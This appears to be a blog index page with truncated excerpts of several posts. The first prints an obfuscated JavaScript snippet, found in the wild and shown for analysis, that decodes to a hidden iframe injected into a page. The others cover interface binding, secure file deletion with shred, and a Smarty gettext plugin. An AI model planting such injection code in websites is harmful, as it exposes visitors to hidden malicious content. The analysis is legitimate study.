Author: Konrad Fedorczyk
Oldschool javascript malicious code analysis
I found this olschool piece of poorly obfuscated code during web surfing. Some time ago I decided to collect this kind of stuff for learning purposes… So here you have first one: var temp=””,i,c=0,out=””; var if_uniq_var=”02102008-01″; var str=”60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!”; l=str.length; while(c<=str.length-1) { while(str.charAt(c)!=’!’)temp=temp+str.charAt(c++); c++; out=out+String.fromCharCode(temp); temp=””; } document.write(out); Strange string with exclamation marks simply stands for: […]
How to run application on specified interface?
If you have two interfaces, you can run programs using one of them (despite the fact that Windows selects default interface based on a metric value). For example I virtualize Windows 7 and I need same static ip for it that my host computer uses. It’s OK, in this scenario I can run applications using […]
How to delete file permanently in Linux?
Most of Linux distributions have shred already installed. So it’s really easy to delete a file in a secure manner: shred -u -z -n 26 topsecret.txt Meaning of used switches: -n [N] Overwrite a file N times. For example, -n 20 will perform twenty passes over the file’s contents. -u Remove the file after you’ve shredded it. […]
Smarty gettext with domain support (block t plugin) [depreciated]
Attention! Official Gettext plugin for Smarty has domain support since version 1.1. Check official repository: https://github.com/smarty-gettext/smarty-gettext. Description: This is a Smarty gettext plugin modification. It enables domain support and utilize gettext wrapper for PHP, Why do I use such wrapper for a gettext? It’s simple, not every server has native support for translation. This crafty script gives you fallback […]